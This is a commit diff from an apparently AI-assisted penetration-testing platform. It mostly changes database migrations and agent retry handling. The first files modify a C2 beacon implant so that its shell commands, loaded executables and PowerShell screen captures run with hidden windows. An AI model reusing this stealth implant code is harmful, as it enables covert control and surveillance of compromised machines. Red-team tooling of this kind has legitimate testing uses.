Add files via upload

internal/c2/payload_builder.go

@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 	}
 	f.Close()
 
+	// 平台相关辅助源文件（如无窗口子进程）
+	for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
+		helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
+		helperData, readErr := os.ReadFile(helperSrc)
+		if readErr != nil {
+			return nil, fmt.Errorf("read helper %s: %w", name, readErr)
+		}
+		if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
+			return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
+		}
+	}
+
 	// 交叉编译
 	binName := strings.TrimSpace(in.OutputName)
 	if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 		return nil, fmt.Errorf("mkdir output: %w", err)
 	}
 
-	absSrcPath, err := filepath.Abs(srcPath)
-	if err != nil {
-		return nil, fmt.Errorf("abs source path: %w", err)
-	}
 	absBinPath, err := filepath.Abs(binPath)
 	if err != nil {
 		return nil, fmt.Errorf("abs output path: %w", err)
 	}
-	cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
+	ldflags := "-s -w -buildid="
+	if goos == "windows" {
+		// 无控制台窗口运行 beacon 本体
+		ldflags += " -H windowsgui"
+	}
+	cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
 	cmd.Env = append(os.Environ(),
 		"GOOS="+goos,
 		"GOARCH="+goarch,

internal/c2/payload_templates/beacon.go.tmpl

@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
 		timeoutSec = 60
 	}
 	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
 		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
 	case "windows":
 		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
-		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
+		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
 	default:
 		return "", "", "", "screenshot not supported on " + runtime.GOOS
 	}
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
 		cmdArgs = strings.Fields(args)
 	}
 	cmd := exec.Command(tmpFile, cmdArgs...)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()

internal/c2/payload_templates/proc_hide_unix.go.tmpl

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	_ = cmd
+}

internal/c2/payload_templates/proc_hide_windows.go.tmpl

@@ -0,0 +1,18 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	// 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时
+	// syscall.CREATE_NO_WINDOW 常量不可用。
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+}

internal/database/batch_task.go

@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
 // GetBatchTasks 获取批量任务队列的所有任务
 func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
 	rows, err := db.Query(
-		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
+		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
 		queueID,
 	)
 	if err != nil {

internal/database/conversation.go

@@ -543,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
 	return nil
 }
 
-// DeleteConversation 删除对话及其所有相关数据
+// DeleteConversation 删除对话及其会话相关数据。
 // 由于数据库外键约束设置了 ON DELETE CASCADE，删除对话时会自动删除：
 // - messages（消息）
 // - process_details（过程详情）
 // - attack_chain_nodes（攻击链节点）
 // - attack_chain_edges（攻击链边）
-// - vulnerabilities（漏洞）
 // - conversation_group_mappings（分组映射）
-// 注意：knowledge_retrieval_logs 使用 ON DELETE SET NULL，记录会保留但 conversation_id 会被设为 NULL
+// 漏洞记录会保留：vulnerabilities.conversation_id 使用 ON DELETE SET NULL，仅解除与会话的关联。
+// 注意：knowledge_retrieval_logs 在删除前会被显式清理。
 func (db *DB) DeleteConversation(id string) error {
+	// 删除对话前补全漏洞来源标签，便于在漏洞库中追溯已删除会话的发现。
+	_, err := db.Exec(`
+		UPDATE vulnerabilities
+		SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
+		WHERE conversation_id = ?
+	`, id, id)
+	if err != nil {
+		db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
+	}
+
 	// 显式删除知识检索日志（虽然外键是SET NULL，但为了彻底清理，我们手动删除）
-	_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
+	_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
 	if err != nil {
 		db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
 		// 不返回错误，继续删除对话
@@ -567,7 +577,7 @@ func (db *DB) DeleteConversation(id string) error {
 	}
 	db.removeConversationScopedDirs(id)
 
-	db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
+	db.logger.Info("对话已删除（漏洞记录已保留）", zap.String("conversationId", id))
 	return nil
 }
 

internal/database/conversation_vulnerability_test.go

@@ -0,0 +1,69 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-preserve.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+
+	vuln, err := db.CreateVulnerability(&Vulnerability{
+		ConversationID: conv.ID,
+		Title:          "SQL Injection",
+		Severity:       "high",
+		Status:         "open",
+	})
+	if err != nil {
+		t.Fatalf("CreateVulnerability: %v", err)
+	}
+
+	if err := db.DeleteConversation(conv.ID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	got, err := db.GetVulnerability(vuln.ID)
+	if err != nil {
+		t.Fatalf("GetVulnerability after delete: %v", err)
+	}
+	if got.Title != "SQL Injection" {
+		t.Fatalf("title = %q, want SQL Injection", got.Title)
+	}
+	if got.ConversationID != "" {
+		t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
+	}
+	if got.ConversationTag != "vuln source chat" {
+		t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
+	}
+}
+
+func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
+	}
+	if !ok {
+		t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
+	}
+}

internal/database/database.go

@@ -357,7 +357,7 @@ func (db *DB) initTables() error {
 	createVulnerabilitiesTable := `
 	CREATE TABLE IF NOT EXISTS vulnerabilities (
 		id TEXT PRIMARY KEY,
-		conversation_id TEXT NOT NULL,
+		conversation_id TEXT,
 		conversation_tag TEXT,
 		task_tag TEXT,
 		title TEXT NOT NULL,
@@ -371,7 +371,8 @@ func (db *DB) initTables() error {
 		recommendation TEXT,
 		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
 		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
-		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
 	);`
 
 	// 创建批量任务队列表
@@ -737,6 +738,9 @@ func (db *DB) initTables() error {
 		db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
 		// 不返回错误，允许继续运行
 	}
+	if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
+		db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
+	}
 
 	if err := db.migrateProjectsTable(); err != nil {
 		db.logger.Warn("迁移projects相关表失败", zap.Error(err))
@@ -1146,6 +1150,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
 	return err
 }
 
+// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL，删除对话时保留漏洞记录。
+func (db *DB) migrateVulnerabilitiesConversationFK() error {
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		return err
+	}
+	if ok {
+		return nil
+	}
+
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	const createNew = `
+	CREATE TABLE vulnerabilities_new (
+		id TEXT PRIMARY KEY,
+		conversation_id TEXT,
+		conversation_tag TEXT,
+		task_tag TEXT,
+		title TEXT NOT NULL,
+		description TEXT,
+		severity TEXT NOT NULL,
+		status TEXT NOT NULL DEFAULT 'open',
+		vulnerability_type TEXT,
+		target TEXT,
+		proof TEXT,
+		impact TEXT,
+		recommendation TEXT,
+		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
+	);`
+	if _, err := tx.Exec(createNew); err != nil {
+		return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
+	}
+
+	const copyRows = `
+	INSERT INTO vulnerabilities_new (
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	)
+	SELECT
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	FROM vulnerabilities;`
+	if _, err := tx.Exec(copyRows); err != nil {
+		return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
+	}
+	if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
+		return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
+	}
+	if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
+		return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
+	}
+
+	indexes := []string{
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
+	}
+	for _, stmt := range indexes {
+		if _, err := tx.Exec(stmt); err != nil {
+			return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
+		}
+	}
+
+	if err := tx.Commit(); err != nil {
+		return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
+	}
+	db.logger.Info("vulnerabilities 表已迁移：删除对话时保留漏洞记录")
+	return nil
+}
+
+func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
+	rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
+	if err != nil {
+		return false, err
+	}
+	defer rows.Close()
+
+	found := false
+	for rows.Next() {
+		var id, seq int
+		var table, from, to, onUpdate, onDelete, match string
+		if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
+			return false, err
+		}
+		if from == "conversation_id" {
+			found = true
+			if !strings.EqualFold(onDelete, "SET NULL") {
+				return false, nil
+			}
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return false, err
+	}
+	return found, nil
+}
+
 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表，补充标签字段
 func (db *DB) migrateVulnerabilitiesTable() error {
 	columns := []struct {

internal/database/vulnerability.go

@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 
 	_, err := db.Exec(
 		query,
-		vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
+		vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
 		vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
 		vuln.Proof, vuln.Impact, vuln.Recommendation,
 		vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 	var vuln Vulnerability
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
 		       conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 // ListVulnerabilities 列出漏洞
 func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
 		       vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
 	if err != nil {
 		return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
 	}
-	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
+	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
 	if err != nil {
 		return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
 	}

internal/handler/agent.go

@@ -637,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
 	var resultMA *multiagent.RunResult
 	var errMA error
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	for {
 		resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
 			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
 			conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
 		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
+			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			errMA = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
 		if errMA == nil {
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			break
 		}
 		if handled, _ := h.handleEinoTransientRetryContinue(
@@ -673,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
 	var resultMA *multiagent.RunResult
 	var errMA error
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	for {
 		resultMA, errMA = multiagent.RunDeepAgent(
 			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
 			conversationID, curMsg, curHist, roleTools, progressCallback,
 			h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
 		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
+			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			errMA = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
 		if errMA == nil {
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			break
 		}
 		if handled, _ := h.handleEinoTransientRetryContinue(

internal/handler/eino_resume_segment.go

@@ -9,6 +9,8 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/multiagent"
+
+	"go.uber.org/zap"
 )
 
 func (h *AgentHandler) einoRunRetryMaxAttempts() int {
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
 	}
 	return true, nil
 }
+
+// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」；返回 exhausted=true 时由外层按成功结束（保留占位文案）。
+// 与临时错误重试一致：仅恢复轨迹并保留本请求原始 user 文案，不向模型注入续跑说明。
+func (h *AgentHandler) handleEinoEmptyResponseContinue(
+	baseCtx context.Context,
+	conversationID string,
+	result *multiagent.RunResult,
+	runErr error,
+	emptyResponseAttempts *int,
+	curHistory *[]agent.ChatMessage,
+	curFinalMessage *string,
+	segmentUserMessage string,
+	progressCallback func(eventType, message string, data interface{}),
+	sendProgress func(msg string, extra map[string]interface{}),
+) (handled bool, exhausted bool) {
+	if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
+		return false, false
+	}
+	maxAttempts := h.einoRunRetryMaxAttempts()
+	*emptyResponseAttempts++
+	if *emptyResponseAttempts > maxAttempts {
+		if h.logger != nil {
+			h.logger.Warn("eino empty response auto resume exhausted",
+				zap.String("conversationId", conversationID),
+				zap.Int("maxAttempts", maxAttempts))
+		}
+		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
+			h.persistEinoAgentTraceForResume(conversationID, result)
+		}
+		return false, true
+	}
+	attemptNo := *emptyResponseAttempts
+	if h.logger != nil {
+		h.logger.Info("eino empty response, auto resume from trace",
+			zap.String("conversationId", conversationID),
+			zap.Int("attempt", attemptNo),
+			zap.Int("maxAttempts", maxAttempts))
+	}
+	if progressCallback != nil {
+		progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文，正在基于轨迹自动续跑（%d/%d）…", attemptNo, maxAttempts), map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "eino",
+			"attempt":        attemptNo,
+			"maxAttempts":    maxAttempts,
+			"resumeKind":     "trace_segment",
+		})
+	}
+	h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
+	if sendProgress != nil {
+		sendProgress("已恢复上下文，正在继续推理…", map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "empty_response_continue",
+		})
+	}
+	return true, false
+}

internal/handler/eino_single_agent.go

@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 
 	var cumulativeMCPExecutionIDs []string
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -237,9 +238,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 			cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
 		}
 
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
+			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
+			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			transientRunAttempts = 0
+			timeoutCancel()
+			break
+		}
+		if handledEmpty {
+			mainIterationOffset += segmentMainIterationMax
+			transientRunAttempts = 0
+			timeoutCancel()
+			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
+			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
+			h.tasks.UpdateTaskStatus(conversationID, "running")
+			continue
+		}
+
 		if runErr == nil {
 			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			timeoutCancel()
 			break
 		}
@@ -418,21 +442,49 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
 		return
 	}
 
-	result, runErr := multiagent.RunEinoSingleChatModelAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	var transientRunAttempts int
+	var emptyResponseAttempts int
+	for {
+		result, runErr = multiagent.RunEinoSingleChatModelAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			prep.ConversationID,
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
+		if runErr == nil {
+			break
+		}
+		if handled, fatalErr := h.handleEinoTransientRetryContinue(
+			baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		); handled {
+			continue
+		} else if fatalErr != nil {
+			runErr = fatalErr
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/multi_agent.go

@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 	// 同一 HTTP 流内多段 Run（如中断并继续）合并 MCP execution id，供最终 response / 库表与工具芯片展示完整列表
 	var cumulativeMCPExecutionIDs []string
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -249,9 +250,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
 		}
 
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
+			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
+			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			transientRunAttempts = 0
+			timeoutCancel()
+			break
+		}
+		if handledEmpty {
+			mainIterationOffset += segmentMainIterationMax
+			transientRunAttempts = 0
+			timeoutCancel()
+			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
+			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
+			h.tasks.UpdateTaskStatus(conversationID, "running")
+			continue
+		}
+
 		if runErr == nil {
 			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			timeoutCancel()
 			break
 		}
@@ -430,23 +454,51 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
 		return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
 	})
 
-	result, runErr := multiagent.RunDeepAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		h.agentsMarkdownDir,
-		strings.TrimSpace(req.Orchestration),
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	var transientRunAttempts int
+	var emptyResponseAttempts int
+	for {
+		result, runErr = multiagent.RunDeepAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			prep.ConversationID,
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			h.agentsMarkdownDir,
+			strings.TrimSpace(req.Orchestration),
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
+		if runErr == nil {
+			break
+		}
+		if handled, fatalErr := h.handleEinoTransientRetryContinue(
+			baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		); handled {
+			continue
+		} else if fatalErr != nil {
+			runErr = fatalErr
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/openapi.go

@@ -1344,7 +1344,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 				"delete": map[string]interface{}{
 					"tags":        []string{"对话管理"},
 					"summary":     "删除对话",
-					"description": "删除指定的对话及其所有相关数据（消息、漏洞等）。**此操作不可恢复**。",
+					"description": "删除指定的对话及其会话数据（消息、攻击链等）。**漏洞记录会保留**，仅解除与会话的关联。**此操作不可恢复**。",
 					"operationId": "deleteConversation",
 					"parameters": []map[string]interface{}{
 						{

internal/multiagent/eino_adk_run_loop.go

@@ -1027,9 +1027,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
 		lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
 	)
+	if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
+		if logger != nil {
+			logger.Info("eino empty response, ending run segment for handler resume",
+				zap.String("conversationId", conversationID),
+				zap.String("orchestration", orchMode),
+				zap.Int("traceMessages", len(runAccumulatedMsgs)))
+		}
